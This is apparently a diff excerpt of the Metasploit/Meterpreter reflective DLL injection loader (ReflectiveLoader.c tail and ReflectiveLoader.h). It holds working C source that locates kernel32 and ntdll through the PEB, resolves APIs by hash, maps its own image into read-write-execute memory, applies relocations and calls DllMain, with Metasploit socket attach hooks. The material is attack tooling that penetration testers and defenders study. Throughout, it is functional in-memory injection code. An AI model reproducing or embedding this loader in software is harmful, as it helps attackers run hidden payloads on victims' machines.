#ifdef ENABLE_OUTPUTDEBUGSTRING
|
||||
OUTPUTDEBUG pOutputDebug = NULL;
|
||||
#endif
|
||||
|
||||
USHORT usCounter;
|
||||
|
||||
// the initial location of this image in memory
|
||||
ULONG_PTR uiLibraryAddress;
|
||||
// the kernels base address and later this images newly loaded base address
|
||||
ULONG_PTR uiBaseAddress;
|
||||
|
||||
// variables for processing the kernels export table
|
||||
ULONG_PTR uiAddressArray;
|
||||
ULONG_PTR uiNameArray;
|
||||
ULONG_PTR uiExportDir;
|
||||
ULONG_PTR uiNameOrdinals;
|
||||
DWORD dwHashValue;
|
||||
|
||||
// variables for loading this image
|
||||
ULONG_PTR uiHeaderValue;
|
||||
ULONG_PTR uiValueA;
|
||||
ULONG_PTR uiValueB;
|
||||
ULONG_PTR uiValueC;
|
||||
ULONG_PTR uiValueD;
|
||||
ULONG_PTR uiValueE;
|
||||
|
||||
// STEP 0: calculate our images current base address
|
||||
|
||||
// we will start searching backwards from our callers return address.
|
||||
uiLibraryAddress = caller();
|
||||
|
||||
// loop through memory backwards searching for our images base address
|
||||
// we dont need SEH style search as we shouldnt generate any access violations with this
|
||||
while( TRUE )
|
||||
{
|
||||
if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE )
|
||||
{
|
||||
uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
|
||||
// some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'),
|
||||
// we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems.
|
||||
if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 )
|
||||
{
|
||||
uiHeaderValue += uiLibraryAddress;
|
||||
// break if we have found a valid MZ/PE header
|
||||
if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE )
|
||||
break;
|
||||
}
|
||||
}
|
||||
uiLibraryAddress--;
|
||||
}
|
||||
|
||||
// STEP 1: process the kernels exports for the functions our loader needs...
|
||||
|
||||
// get the Process Enviroment Block
|
||||
#ifdef _WIN64
|
||||
uiBaseAddress = __readgsqword( 0x60 );
|
||||
#else
|
||||
#ifdef WIN_ARM
|
||||
uiBaseAddress = *(DWORD *)( (BYTE *)_MoveFromCoprocessor( 15, 0, 13, 0, 2 ) + 0x30 );
|
||||
#else _WIN32
|
||||
uiBaseAddress = __readfsdword( 0x30 );
|
||||
#endif
|
||||
#endif
|
||||
|
||||
// get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx
|
||||
uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;
|
||||
|
||||
// get the first entry of the InMemoryOrder module list
|
||||
uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
|
||||
while( uiValueA )
|
||||
{
|
||||
// get pointer to current modules name (unicode string)
|
||||
uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
|
||||
// set bCounter to the length for the loop
|
||||
usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
|
||||
// clear uiValueC which will store the hash of the module name
|
||||
uiValueC = 0;
|
||||
|
||||
// compute the hash of the module name...
|
||||
do
|
||||
{
|
||||
uiValueC = ror( (DWORD)uiValueC );
|
||||
// normalize to uppercase if the module name is in lowercase
|
||||
if( *((BYTE *)uiValueB) >= 'a' )
|
||||
uiValueC += *((BYTE *)uiValueB) - 0x20;
|
||||
else
|
||||
uiValueC += *((BYTE *)uiValueB);
|
||||
uiValueB++;
|
||||
} while( --usCounter );
|
||||
|
||||
// compare the hash with that of kernel32.dll
|
||||
if( (DWORD)uiValueC == KERNEL32DLL_HASH )
|
||||
{
|
||||
// get this modules base address
|
||||
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
|
||||
|
||||
// get the VA of the modules NT Header
|
||||
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
|
||||
|
||||
// uiNameArray = the address of the modules export directory entry
|
||||
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
|
||||
|
||||
// get the VA of the export directory
|
||||
uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
|
||||
|
||||
// get the VA for the array of name pointers
|
||||
uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
|
||||
|
||||
// get the VA for the array of name ordinals
|
||||
uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );
|
||||
|
||||
usCounter = 3;
|
||||
#ifdef ENABLE_STOPPAGING
|
||||
usCounter++;
|
||||
#endif
|
||||
#ifdef ENABLE_OUTPUTDEBUGSTRING
|
||||
usCounter++;
|
||||
#endif
|
||||
|
||||
// loop while we still have imports to find
|
||||
while( usCounter > 0 )
|
||||
{
|
||||
// compute the hash values for this function name
|
||||
dwHashValue = _hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );
|
||||
|
||||
// if we have found a function we want we get its virtual address
|
||||
if( dwHashValue == LOADLIBRARYA_HASH
|
||||
|| dwHashValue == GETPROCADDRESS_HASH
|
||||
|| dwHashValue == VIRTUALALLOC_HASH
|
||||
#ifdef ENABLE_STOPPAGING
|
||||
|| dwHashValue == VIRTUALLOCK_HASH
|
||||
#endif
|
||||
#ifdef ENABLE_OUTPUTDEBUGSTRING
|
||||
|| dwHashValue == OUTPUTDEBUG_HASH
|
||||
#endif
|
||||
)
|
||||
{
|
||||
// get the VA for the array of addresses
|
||||
uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
|
||||
|
||||
// use this functions name ordinal as an index into the array of name pointers
|
||||
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
|
||||
|
||||
// store this functions VA
|
||||
if( dwHashValue == LOADLIBRARYA_HASH )
|
||||
pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) );
|
||||
else if( dwHashValue == GETPROCADDRESS_HASH )
|
||||
pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) );
|
||||
else if( dwHashValue == VIRTUALALLOC_HASH )
|
||||
pVirtualAlloc = (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) );
|
||||
#ifdef ENABLE_STOPPAGING
|
||||
else if( dwHashValue == VIRTUALLOCK_HASH )
|
||||
pVirtualLock = (VIRTUALLOCK)( uiBaseAddress + DEREF_32( uiAddressArray ) );
|
||||
#endif
|
||||
#ifdef ENABLE_OUTPUTDEBUGSTRING
|
||||
else if( dwHashValue == OUTPUTDEBUG_HASH )
|
||||
pOutputDebug = (OUTPUTDEBUG)( uiBaseAddress + DEREF_32( uiAddressArray ) );
|
||||
#endif
|
||||
|
||||
// decrement our counter
|
||||
usCounter--;
|
||||
}
|
||||
|
||||
// get the next exported function name
|
||||
uiNameArray += sizeof(DWORD);
|
||||
|
||||
// get the next exported function name ordinal
|
||||
uiNameOrdinals += sizeof(WORD);
|
||||
}
|
||||
}
|
||||
else if( (DWORD)uiValueC == NTDLLDLL_HASH )
|
||||
{
|
||||
// get this modules base address
|
||||
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
|
||||
|
||||
// get the VA of the modules NT Header
|
||||
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
|
||||
|
||||
// uiNameArray = the address of the modules export directory entry
|
||||
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
|
||||
|
||||
// get the VA of the export directory
|
||||
uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
|
||||
|
||||
// get the VA for the array of name pointers
|
||||
uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
|
||||
|
||||
// get the VA for the array of name ordinals
|
||||
uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );
|
||||
|
||||
usCounter = 1;
|
||||
|
||||
// loop while we still have imports to find
|
||||
while( usCounter > 0 )
|
||||
{
|
||||
// compute the hash values for this function name
|
||||
dwHashValue = _hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );
|
||||
|
||||
// if we have found a function we want we get its virtual address
|
||||
if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH )
|
||||
{
|
||||
// get the VA for the array of addresses
|
||||
uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
|
||||
|
||||
// use this functions name ordinal as an index into the array of name pointers
|
||||
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
|
||||
|
||||
// store this functions VA
|
||||
if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH )
|
||||
pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)( uiBaseAddress + DEREF_32( uiAddressArray ) );
|
||||
|
||||
// decrement our counter
|
||||
usCounter--;
|
||||
}
|
||||
|
||||
// get the next exported function name
|
||||
uiNameArray += sizeof(DWORD);
|
||||
|
||||
// get the next exported function name ordinal
|
||||
uiNameOrdinals += sizeof(WORD);
|
||||
}
|
||||
}
|
||||
|
||||
// we stop searching when we have found everything we need.
|
||||
if( pLoadLibraryA
|
||||
&& pGetProcAddress
|
||||
&& pVirtualAlloc
|
||||
#ifdef ENABLE_STOPPAGING
|
||||
&& pVirtualLock
|
||||
#endif
|
||||
&& pNtFlushInstructionCache
|
||||
#ifdef ENABLE_OUTPUTDEBUGSTRING
|
||||
&& pOutputDebug
|
||||
#endif
|
||||
)
|
||||
break;
|
||||
|
||||
// get the next entry
|
||||
uiValueA = DEREF( uiValueA );
|
||||
}
|
||||
|
||||
// STEP 2: load our image into a new permanent location in memory...
|
||||
|
||||
// get the VA of the NT Header for the PE to be loaded
|
||||
uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
|
||||
|
||||
// allocate all the memory for the DLL to be loaded into. we can load at any address because we will
|
||||
// relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems.
|
||||
uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
||||
|
||||
#ifdef ENABLE_STOPPAGING
|
||||
// prevent our image from being swapped to the pagefile
|
||||
pVirtualLock((LPVOID)uiBaseAddress, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage);
|
||||
#endif
|
||||
|
||||
// we must now copy over the headers
|
||||
uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
|
||||
uiValueB = uiLibraryAddress;
|
||||
uiValueC = uiBaseAddress;
|
||||
|
||||
while( uiValueA-- )
|
||||
*(BYTE *)uiValueC++ = *(BYTE *)uiValueB++;
|
||||
|
||||
// STEP 3: load in all of our sections...
|
||||
|
||||
// uiValueA = the VA of the first section
|
||||
uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader );
|
||||
|
||||
// itterate through all sections, loading them into memory.
|
||||
uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
|
||||
while( uiValueE-- )
|
||||
{
|
||||
// uiValueB is the VA for this section
|
||||
uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress );
|
||||
|
||||
// uiValueC if the VA for this sections data
|
||||
uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData );
|
||||
|
||||
// copy the section over
|
||||
uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;
|
||||
|
||||
while( uiValueD-- )
|
||||
*(BYTE *)uiValueB++ = *(BYTE *)uiValueC++;
|
||||
|
||||
// get the VA of the next section
|
||||
uiValueA += sizeof( IMAGE_SECTION_HEADER );
|
||||
}
|
||||
|
||||
// STEP 4: process our images import table...
|
||||
|
||||
// uiValueB = the address of the import directory
|
||||
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];
|
||||
|
||||
// we assume there is an import table to process
|
||||
// uiValueC is the first entry in the import table
|
||||
uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
|
||||
|
||||
// iterate through all imports until a null RVA is found (Characteristics is mis-named)
|
||||
while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Characteristics )
|
||||
{
|
||||
OUTPUTDBG("Loading library: ");
|
||||
OUTPUTDBG((LPCSTR)(uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name));
|
||||
OUTPUTDBG("\n");
|
||||
|
||||
// use LoadLibraryA to load the imported module into memory
|
||||
uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) );
|
||||
|
||||
if ( !uiLibraryAddress )
|
||||
{
|
||||
OUTPUTDBG("Loading library FAILED\n");
|
||||
|
||||
uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR );
|
||||
continue;
|
||||
}
|
||||
|
||||
// uiValueD = VA of the OriginalFirstThunk
|
||||
uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk );
|
||||
|
||||
// uiValueA = VA of the IAT (via first thunk not origionalfirstthunk)
|
||||
uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk );
|
||||
|
||||
// itterate through all imported functions, importing by ordinal if no name present
|
||||
while( DEREF(uiValueA) )
|
||||
{
|
||||
// sanity check uiValueD as some compilers only import by FirstThunk
|
||||
if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG )
|
||||
{
|
||||
// get the VA of the modules NT Header
|
||||
uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
|
||||
|
||||
// uiNameArray = the address of the modules export directory entry
|
||||
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
|
||||
|
||||
// get the VA of the export directory
|
||||
uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
|
||||
|
||||
// get the VA for the array of addresses
|
||||
uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
|
||||
|
||||
// use the import ordinal (- export ordinal base) as an index into the array of addresses
|
||||
uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) );
|
||||
|
||||
// patch in the address for this imported function
|
||||
DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) );
|
||||
}
|
||||
else
|
||||
{
|
||||
// get the VA of this functions import by name struct
|
||||
uiValueB = ( uiBaseAddress + DEREF(uiValueA) );
|
||||
|
||||
OUTPUTDBG("Resolving function: ");
|
||||
OUTPUTDBG(((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name);
|
||||
OUTPUTDBG("\n");
|
||||
|
||||
// use GetProcAddress and patch in the address for this imported function
|
||||
DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name );
|
||||
}
|
||||
// get the next imported function
|
||||
uiValueA += sizeof( ULONG_PTR );
|
||||
if( uiValueD )
|
||||
uiValueD += sizeof( ULONG_PTR );
|
||||
}
|
||||
|
||||
// get the next import
|
||||
uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR );
|
||||
}
|
||||
|
||||
// STEP 5: process all of our images relocations...
|
||||
|
||||
// calculate the base address delta and perform relocations (even if we load at desired image base)
|
||||
uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;
|
||||
|
||||
// uiValueB = the address of the relocation directory
|
||||
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ];
|
||||
|
||||
// check if their are any relocations present
|
||||
if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size )
|
||||
{
|
||||
// uiValueC is now the first entry (IMAGE_BASE_RELOCATION)
|
||||
uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
|
||||
|
||||
// and we itterate through all entries...
|
||||
while( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock )
|
||||
{
|
||||
// uiValueA = the VA for this relocation block
|
||||
uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress );
|
||||
|
||||
// uiValueB = number of entries in this relocation block
|
||||
uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC );
|
||||
|
||||
// uiValueD is now the first entry in the current relocation block
|
||||
uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);
|
||||
|
||||
// we itterate through all the entries in the current block...
|
||||
while( uiValueB-- )
|
||||
{
|
||||
// perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required.
|
||||
// we dont use a switch statement to avoid the compiler building a jump table
|
||||
// which would not be very position independent!
|
||||
if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 )
|
||||
*(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
|
||||
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW )
|
||||
*(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
|
||||
#ifdef WIN_ARM
|
||||
// Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem.
|
||||
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T )
|
||||
{
|
||||
register DWORD dwInstruction;
|
||||
register DWORD dwAddress;
|
||||
register WORD wImm;
|
||||
// get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word)
|
||||
dwInstruction = *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) );
|
||||
// flip the words to get the instruction as expected
|
||||
dwInstruction = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) );
|
||||
// sanity chack we are processing a MOV instruction...
|
||||
if( (dwInstruction & ARM_MOV_MASK) == ARM_MOVT )
|
||||
{
|
||||
// pull out the encoded 16bit value (the high portion of the address-to-relocate)
|
||||
wImm = (WORD)( dwInstruction & 0x000000FF);
|
||||
wImm |= (WORD)((dwInstruction & 0x00007000) >> 4);
|
||||
wImm |= (WORD)((dwInstruction & 0x04000000) >> 15);
|
||||
wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4);
|
||||
// apply the relocation to the target address
|
||||
dwAddress = ( (WORD)HIWORD(uiLibraryAddress) + wImm ) & 0xFFFF;
|
||||
// now create a new instruction with the same opcode and register param.
|
||||
dwInstruction = (DWORD)( dwInstruction & ARM_MOV_MASK2 );
|
||||
// patch in the relocated address...
|
||||
dwInstruction |= (DWORD)(dwAddress & 0x00FF);
|
||||
dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4;
|
||||
dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15;
|
||||
dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4;
|
||||
// now flip the instructions words and patch back into the code...
|
||||
*(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) ) = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) );
|
||||
}
|
||||
}
|
||||
#endif
|
||||
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH )
|
||||
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
|
||||
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW )
|
||||
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);
|
||||
|
||||
// get the next entry in the current relocation block
|
||||
uiValueD += sizeof( IMAGE_RELOC );
|
||||
}
|
||||
|
||||
// get the next entry in the relocation directory
|
||||
uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
|
||||
}
|
||||
}
|
||||
|
||||
// STEP 6: call our images entry point
|
||||
|
||||
// uiValueA = the VA of our newly loaded DLL/EXE's entry point
|
||||
uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint );
|
||||
|
||||
OUTPUTDBG("Flushing the instruction cache");
|
||||
// We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing.
|
||||
pNtFlushInstructionCache( (HANDLE)-1, NULL, 0 );
|
||||
|
||||
// call our respective entry point, fudging our hInstance value
|
||||
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
|
||||
// if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter)
|
||||
((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter );
|
||||
#else
|
||||
// if we are injecting an DLL via a stub we call DllMain with no parameter
|
||||
((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL );
|
||||
#endif
|
||||
|
||||
// STEP 8: return our new entry point address so whatever called us can call DllMain() if needed.
|
||||
return uiValueA;
|
||||
}
|
||||
//===============================================================================================//
|
||||
#ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
|
||||
|
||||
// you must implement this function...
|
||||
extern DWORD DLLEXPORT Init( SOCKET socket );
|
||||
|
||||
BOOL MetasploitDllAttach( SOCKET socket )
|
||||
{
|
||||
Init( socket );
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL MetasploitDllDetach( DWORD dwExitFunc )
|
||||
{
|
||||
switch( dwExitFunc )
|
||||
{
|
||||
case EXITFUNC_SEH:
|
||||
SetUnhandledExceptionFilter( NULL );
|
||||
break;
|
||||
case EXITFUNC_THREAD:
|
||||
ExitThread( 0 );
|
||||
break;
|
||||
case EXITFUNC_PROCESS:
|
||||
ExitProcess( 0 );
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
|
||||
{
|
||||
BOOL bReturnValue = TRUE;
|
||||
|
||||
switch( dwReason )
|
||||
{
|
||||
case DLL_METASPLOIT_ATTACH:
|
||||
bReturnValue = MetasploitDllAttach( (SOCKET)lpReserved );
|
||||
break;
|
||||
case DLL_METASPLOIT_DETACH:
|
||||
bReturnValue = MetasploitDllDetach( (DWORD)lpReserved );
|
||||
break;
|
||||
case DLL_QUERY_HMODULE:
|
||||
if( lpReserved != NULL )
|
||||
*(HMODULE *)lpReserved = hAppInstance;
|
||||
break;
|
||||
case DLL_PROCESS_ATTACH:
|
||||
hAppInstance = hinstDLL;
|
||||
break;
|
||||
case DLL_PROCESS_DETACH:
|
||||
case DLL_THREAD_ATTACH:
|
||||
case DLL_THREAD_DETACH:
|
||||
break;
|
||||
}
|
||||
return bReturnValue;
|
||||
}
|
||||
|
||||
#endif
|
||||
//===============================================================================================//
|
|
@ -0,0 +1,223 @@
|
|||
//===============================================================================================//
|
||||
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||
// All rights reserved.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||
// provided that the following conditions are met:
|
||||
//
|
||||
// * Redistributions of source code must retain the above copyright notice, this list of
|
||||
// conditions and the following disclaimer.
|
||||
//
|
||||
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
// conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
// with the distribution.
|
||||
//
|
||||
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||
// endorse or promote products derived from this software without specific prior written permission.
|
||||
//
|
||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
// POSSIBILITY OF SUCH DAMAGE.
|
||||
//===============================================================================================//
|
||||
#ifndef _METERPRETER_SOURCE_REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
|
||||
#define _METERPRETER_SOURCE_REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
|
||||
//===============================================================================================//
|
||||
#define WIN32_LEAN_AND_MEAN
|
||||
#include <windows.h>
|
||||
#include <Winsock2.h>
|
||||
#include <intrin.h>
|
||||
|
||||
#include "ReflectiveDLLInjection.h"
|
||||
|
||||
// Enable this define to turn on OutputDebugString support
|
||||
//#define ENABLE_OUTPUTDEBUGSTRING 1
|
||||
|
||||
// Enable this define to turn on locking of memory to prevent paging
|
||||
#define ENABLE_STOPPAGING 1
|
||||
|
||||
#define EXITFUNC_SEH 0xEA320EFE
|
||||
#define EXITFUNC_THREAD 0x0A2A1DE0
|
||||
#define EXITFUNC_PROCESS 0x56A2B5F0
|
||||
|
||||
typedef HMODULE (WINAPI * LOADLIBRARYA)( LPCSTR );
|
||||
typedef FARPROC (WINAPI * GETPROCADDRESS)( HMODULE, LPCSTR );
|
||||
typedef LPVOID (WINAPI * VIRTUALALLOC)( LPVOID, SIZE_T, DWORD, DWORD );
|
||||
typedef DWORD (NTAPI * NTFLUSHINSTRUCTIONCACHE)( HANDLE, PVOID, ULONG );
|
||||
|
||||
#define KERNEL32DLL_HASH 0x6A4ABC5B
|
||||
#define NTDLLDLL_HASH 0x3CFA685D
|
||||
|
||||
#define LOADLIBRARYA_HASH 0xEC0E4E8E
|
||||
#define GETPROCADDRESS_HASH 0x7C0DFCAA
|
||||
#define VIRTUALALLOC_HASH 0x91AFCA54
|
||||
#define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8
|
||||
|
||||
#ifdef ENABLE_STOPPAGING
|
||||
typedef LPVOID (WINAPI * VIRTUALLOCK)( LPVOID, SIZE_T );
|
||||
#define VIRTUALLOCK_HASH 0x0EF632F2
|
||||
#endif
|
||||
|
||||
#ifdef ENABLE_OUTPUTDEBUGSTRING
|
||||
typedef LPVOID (WINAPI * OUTPUTDEBUG)( LPCSTR );
|
||||
#define OUTPUTDEBUG_HASH 0x470D22BC
|
||||
#endif
|
||||
|
||||
#define IMAGE_REL_BASED_ARM_MOV32A 5
|
||||
#define IMAGE_REL_BASED_ARM_MOV32T 7
|
||||
|
||||
#define ARM_MOV_MASK (DWORD)(0xFBF08000)
|
||||
#define ARM_MOV_MASK2 (DWORD)(0xFBF08F00)
|
||||
#define ARM_MOVW 0xF2400000
|
||||
#define ARM_MOVT 0xF2C00000
|
||||
|
||||
#define HASH_KEY 13
|
||||
//===============================================================================================//
|
||||
